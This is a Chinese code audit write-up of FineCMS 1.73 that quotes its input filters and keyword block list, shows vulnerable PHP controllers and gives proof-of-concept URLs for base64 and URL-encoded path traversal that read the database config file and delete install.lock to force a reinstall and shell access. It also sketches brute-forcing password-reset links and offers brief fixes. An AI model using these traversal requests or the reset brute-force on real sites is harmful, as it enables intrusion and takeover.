FineCMS 是一款基于 PHP+MySql 开发的内容管理系统,采用 MVC 设计模式实现业务逻辑与表现层的适当分离,使网页设计师能够轻松设计出理想的模板,插件化方式开发功能易用便于扩展,支持自定义内容模型和会员模型,并且可以自定义字段,系统内置文章、图片、下载、房产、商品内容模型,系统表单功能可轻松扩展出留言、报名、书籍等功能,实现与内容模型、会员模型相关联, FineCMS 可面向中小型站点提供重量级网站建设解决方案
本人看程序代码,只是为了学习,不断学习中…
这是最新 1.73 版,比之前 1.72 版在安全方面改进很大,加了不少过滤,也修复了几个公布了的漏洞,不过貌似看更新记录上没说,哈哈。我也是第一次看这套程序,只是最近看到好几个文章爆的它的漏洞,俺也来插一脚。
作者 :Seay
用到的工具: Seay PHP 代码审计工具
下载地址:http://HdhCmsTest2cto测试数据/soft/201211/35390.html
目录:
一、前台 ( 两处 )+ 后台任意目录浏览 + 任意文件删除漏洞 二、后台任意文件读取漏洞 三、前台任意文件删除漏洞 四、后台遍地鸡肋注入 五、对找回密码功能代码的看法载入工具扫描一遍
先看看过滤函数:
1 、 Core\\Model.php 文件
/**
* 字符串转义函数
*
* SQL 语句指令安全过滤 , 用于字符转义
* @access public
* @param mixed $value 所要转义的字符或字符串 , 注:参数支持数组
* @return string|string
*/
public static function quote_into($value) {
if (is_array($value)) {
foreach ($value as $key=>$string) {
$value[$key] = self::quote_into($string);
}
} else {
// 当参数为字符串或字符时
if (is_string($value)) {
$value = ’\] . addslashes($value) . ’\];
}
}
return $value;
}
2、 Extensions\\function.php 文件
/**
* 安全过滤函数
* @param $string
* @return string
*/
function safe_replace($string) {
$string = str_replace(‘%20′,],$string);
$string = str_replace(‘%27′,],$string);
$string = str_replace(‘%2527′,],$string);
$string = str_replace(‘*’,],$string);
$string = str_replace(‘]‘,’]‘,$string);
$string = str_replace([‘],],$string);
$string = str_replace(‘]‘,],$string);
$string = str_replace(‘;’,],$string);
$string = str_replace(‘<’,'<’,$string);
$string = str_replace(‘>’,'>’,$string);
$string = str_replace([{[,],$string);
$string = str_replace(‘}’,],$string);
return $string;
}
3 、 config\attackcode.ini.php 文件
/**
* GET 和 POST 非法字符过滤配置(防非法字符攻击)
*/
return array(
/*
* GET 参数非法字符过滤
*/
’get’ => array(
‘select ’,
‘insert ’,
‘\],
‘/*’,
‘*’,
‘’,
‘union ’,
‘into ’,
‘load_file(‘,
‘outfile ’,
‘script’,
),
/*
* POST 值非法字符过滤
*/
‘post’ => array(
‘<script’,
‘<frame’,
‘<iframe’,
‘<style’,
),
4 、 core\\Controller.php 文件 可以看到 $_COOKIE 没过滤
/**
* 用于初始化本类的运行环境 , 或对基本变量进行赋值
*/
public function __construct() {
if (get_magic_quotes_runtime()) set_magic_quotes_runtime(0);
if (get_magic_quotes_gpc()) {
!isset($_COOKIE) or $_COOKIE = $this->strip_slashes($_COOKIE);
} else {
!isset($_POST) or $_POST = $this->add_slashes($_POST);
!isset($_GET) or $_GET = $this->add_slashes($_GET);
!isset($_SESSION) or $_SESSION = $this->add_slashes($_SESSION);
}
$this->view = View::getInstance();
}
过滤函数挺多的,就是过滤的不严谨,
一、前台 ( 两处 )+ 后台任意目录浏览 + 任意文件删除漏洞我们看到 config\attackcode.ini.php 文件的 GET 和 POST 的过滤函数,很明显的,过滤了 没过滤 \\ 这是返回上一级目录的,不过作者忘记了在 windows 下有时候斜杠 \\ 和反斜杠 / 是一样的,
第一处:在前台有个会员图片附件和文件附件浏览,我们利用这里就可以任意目录浏览了。
Controllers\\member\\\ContentController.php 文件
/**
* 附件管理
*/
public function attachmentAction() {
$type = $this->get(‘type’);
$mdir = ’uploadfiles/member/’ . $this->memberinfo['id'] . ’/'; // 会员附件目录
if (!file_exists($mdir)) mkdir($mdir);
$mdir = $type == 1 ? $mdir . ’file/’ : $mdir . ’image/’;
if (!file_exists($mdir)) mkdir($mdir);
$dir = urldecode($this->get(‘dir’));
if (strpos($dir, ’’) !== false) $this->memberMsg(lang(‘m-con-20′), url(‘member/content/attachment’, array(‘type’=>$type)));
$dir = substr($dir, 0, 1) == ’/' ? substr($dir, 1) : $dir;
$data = file_list::get_file_list($mdir . $dir . ’/');
$list = array();
if ($data) {
foreach ($data as $t) {
$dir 可控
第二处:
我们在前台发布的时候,点击附件,浏览,抓下包就可以看到 GET 地址
Li5cLi5cLi5cLw== Base64 解密后为 ..\..\..\
3 、后台任意目录浏览同理。
XC4u base64 解密后是 \..
4、后台任意文件删除
同道理,不说了
/**
* 删除文件夹
*
* @param string $file_dir 所要删除文件的路径
* @return boolean
*/
public static function delete_dir($file_dir) {
if (!$file_dir) return false;
$parse_dir = self::parse_dir($file_dir);
$file_list = self::get_file_list($parse_dir);
foreach ($file_list as $file) {
if (is_dir($parse_dir . ’/' . $file)) {
self::delete_dir($parse_dir . ’/' . $file);
rmdir($parse_dir . ’/' . $file);
} else {
unlink($parse_dir . ’/' . $file);
}
}
return true;
}
修复:过滤完整
二、后台任意文件读取漏洞:同理,还是斜杠和反斜杠的问题,
Controllers\\admin\\ThemeController.php 文件
public function editAction() {
$dir = base64_decode($this->get(‘dir’));
$dir = substr($dir, -1) == DIRECTORY_SEPARATOR ? substr($dir, 0, -1) : $dir;
if (strpos($dir, ’’) !== false) $this->adminMsg(lang(‘m-con-20′));
$name = $this->dir . $dir;
if (!is_file($name)) $this->adminMsg(lang(‘a-con-123′, array(’1′=>$name)));
if ($this->isPostForm()) {
$Pdir = $this->dir == dirname($name) . DIRECTORY_SEPARATOR ? ] : str_replace($this->dir, ], dirname($name));
file_put_contents($name, stripslashes($_POST['file_content']), LOCK_EX);
$this->adminMsg(lang(‘success’), url(‘admin/theme/index’, array(‘dir’=>base64_encode($Pdir . DIRECTORY_SEPARATOR))), 3, 1, 1);
}
$file = file_get_contents($name);
$this->view->assign(array(
’name’ => str_replace($this->dir, ], $name),
’file’ => $file,
‘syntax’ => strtolower(trim(substr(strrchr($name, ’.'), 1, 10))),
‘action’ => ’edit’,
‘iswrite’=> is_writable($this->dir),
));
$this->view->display(‘admin/theme_add’);
}
$dir 可控
http://HdhCmsTestcnseay测试数据/index.php?s=admin&c=theme&a=edit&dir=XC4uXC4uXGNvbmZpZ1xkYXRhYmFzZS5pbmkucGhw
XC4uXDEudHh0 base64 解密后是 \..\..\config\database.ini.php
修复:过滤完整
三、前台任意文件删除漏洞看工具的提示:
265 /**
266 * 删除附件
267 */
268 public function delattachmentAction() {
269 $type = $this->get(‘type’);
270 $mdir = ’uploadfiles/member/’ . $this->memberinfo['id'] . ’/'; //会员附件目录
271 if (!file_exists($mdir)) mkdir($mdir); //可能存在畸形目录创建漏洞
272 $mdir = $type == 1 ? $mdir . ’file/’ : $mdir . ’image/’;
273 if (!file_exists($mdir)) mkdir($mdir); //可能存在畸形目录创建漏洞
274 $dir = urldecode($this->get(‘dir’));
275 $dir = substr($dir, 0, 1) == ’/' ? substr($dir, 1) : $dir;
276 if (realpath($mdir . $dir) == false || strpos($dir, ’’) !== false) $this->memberMsg(lang(‘m-con-21′));
277 if (file_exists($mdir . $dir)) {
278 if (is_dir($mdir . $dir)) {
279 $this->delDir($mdir . $dir);
280 $this->memberMsg(lang(‘success’), url(‘member/content/attachment’, array(‘type’=>$type)), 1);
281 } else {
282 unlink($mdir . $dir); //可能存在任意文件删除漏洞
283 $this->memberMsg(lang(‘success’), url(‘member/content/attachment’, array(‘type’=>$type, ’dir’=>urlencode(dirname($dir)))), 1);
284 }
285 } else {
286 $this->memberMsg(lang(‘m-con-22′, array(’1′=>$dir)));
287 }
288 }
很明显的,$dir我们可控,就是任意文件删除了,其实也是会员的一个删除附件的功能
http://HdhCmsTestcnseay测试数据/finecms/index.php?s=member&c=content&a=delattachment&dir=..%5C%5C..%5C%5C..%5C%5C..%5C%5Ccache..%5C%5C%2Finstall.lock&type=
删除安装锁文件,可重装程序,后台拿 shell 就很简单了
修复:过滤完整
四、后台遍地鸡肋注入
后台注入很多很多,不过要在后台关闭 [禁止非法字符提交]的时候才能用,
可能作者做这么一个开关,是考虑到用户体验吧,只是说明有这么一个缺陷,没有什么价值。
修复:intval()一下,或者其他
五、对找回密码功能代码的看法
在 controllers\\member\\Common.php 文件中有一个找回密码的函数。
86 /**
87 * 密码找回邮件通知
88 */
89 protected function passEmail($username, $email) {
90 if (empty($username) || empty($email)) return false;
91 $rand = md5(rand(1000, 9999)); //随机数
92 $link = $this->get_server_name() . url(‘member/repass/find’, array(‘id’=>base64_encode(time() . ’|' . $rand . ’|' . md5($username))), 1);
93 $this->member->update(array(‘randcode’=>$rand), ]username=’] . $username . ]‘]); //可能存在SQL语句,请注意是否过滤
94 mail::set($this->site);
95 $content = $this->memberconfig['pass_tpl'] ? $this->memberconfig['pass_tpl'] : lang(‘m-com-6′, array(’1′=>$username, ’2′=>$link));
96 $content = str_replace(array(‘{username}’, ’{link}’), array($username, $link), $content);
97 return mail::sendmail($email, lang(‘m-com-7′, array(’1′=>$this->site['SITE_NAME'])), htmlspecialchars_decode($content));
98 }
它的功能就是给生成一个找回密码的链接发送的用户邮箱,同时修改用户randcode字段为生成的随机数的md5。
我们分析下找回密码链接:
$link = $this->get_server_name() . url(‘member/repass/find’, array(‘id’=>base64_encode(time() . ’|' . $rand . ’|' . md5($username))), 1);
就是这句代码拼接的链接,
get_server_name() 获得网站域名,后面加上member/repass/find,然后再加上时间戳time()和1000到9999之间的一个随机数和用户名的md5 的Base64编码,可以看出,时间戳可碰撞,随机数可碰撞,用户名md5可知,那么我们写一个程序,两个线程同时提交不同用户找回密码的请求,那时间戳相差就很小很小了,现在我们能大概确定时间戳的范围,用户名MD5知道,现在我们写一个自动提交的程序,当然要能判断链接是否正确,记得前两天我写了一个,可以到我博客去 下载 ,我们改下程序,加一个自动生成1000-9999之间的数,不断递增并 MD5 加密 ,拼接链接,然后自动访问生成的链接,当出现成功特征字符,就说明成功了。如此看来,这个找回密码的方法还是有一定的危险性,当然这里只是对这个方法来讨论下。
修复:找回密码链接最好类似 md5(username+password+other) 这种形式,个人感觉会好一点。
之前说的cooki没过滤,我们来看下设置cookie的地方,
cookie::set(‘member_id’, $member['id'], $time);
cookie::set(‘member_code’, substr(md5(SITE_MEMBER_COOKIE . $member['id']), 5, 20), $time);
后面用到cookie的地方,比如
/**
* 获取会员信息
*/
protected function getMember() {
if (cookie::is_set(‘member_id’) && cookie::is_set(‘member_code’)) {
$uid = cookie::get(‘member_id’);
$code = cookie::get(‘member_code’);
if (!empty($uid) && $code == substr(md5(SITE_MEMBER_COOKIE . $uid), 5, 20)) {
$_memberinfo = $this->member->find($uid);
$member_table = $this->membermodel[$_memberinfo['modelid']]['tablename'];
if ($_memberinfo && $member_table) {
$_member = $this->model($member_table);
$memberdata = $_member->find($uid);
if ($memberdata) {
$_memberinfo = array_merge($_memberinfo, $memberdata);
$this->memberedit = 1; //不需要完善会员资料
}
if ($this->memberconfig['uc_use'] == 1 && function_exists(‘uc_api_ mysql ’)) {
$uc = uc_api_mysql(‘user’, ’get_user’, array(‘username’=> $_memberinfo['username']));
if ($uc != 0) $_memberinfo['uid'] = $uc[0];
}
return $_memberinfo;
}
}
}
return false;
}
这个验证用的比较好。
不看了,大半夜的,先看到这,以后有时间再把这套程序看完,这个文章写的比较急,将就着看吧,这几天天天忙着找工作。蛋疼啊
查看更多关于Finecms1.73代码审计总结缺陷打包和修复 - 网站安全的详细内容...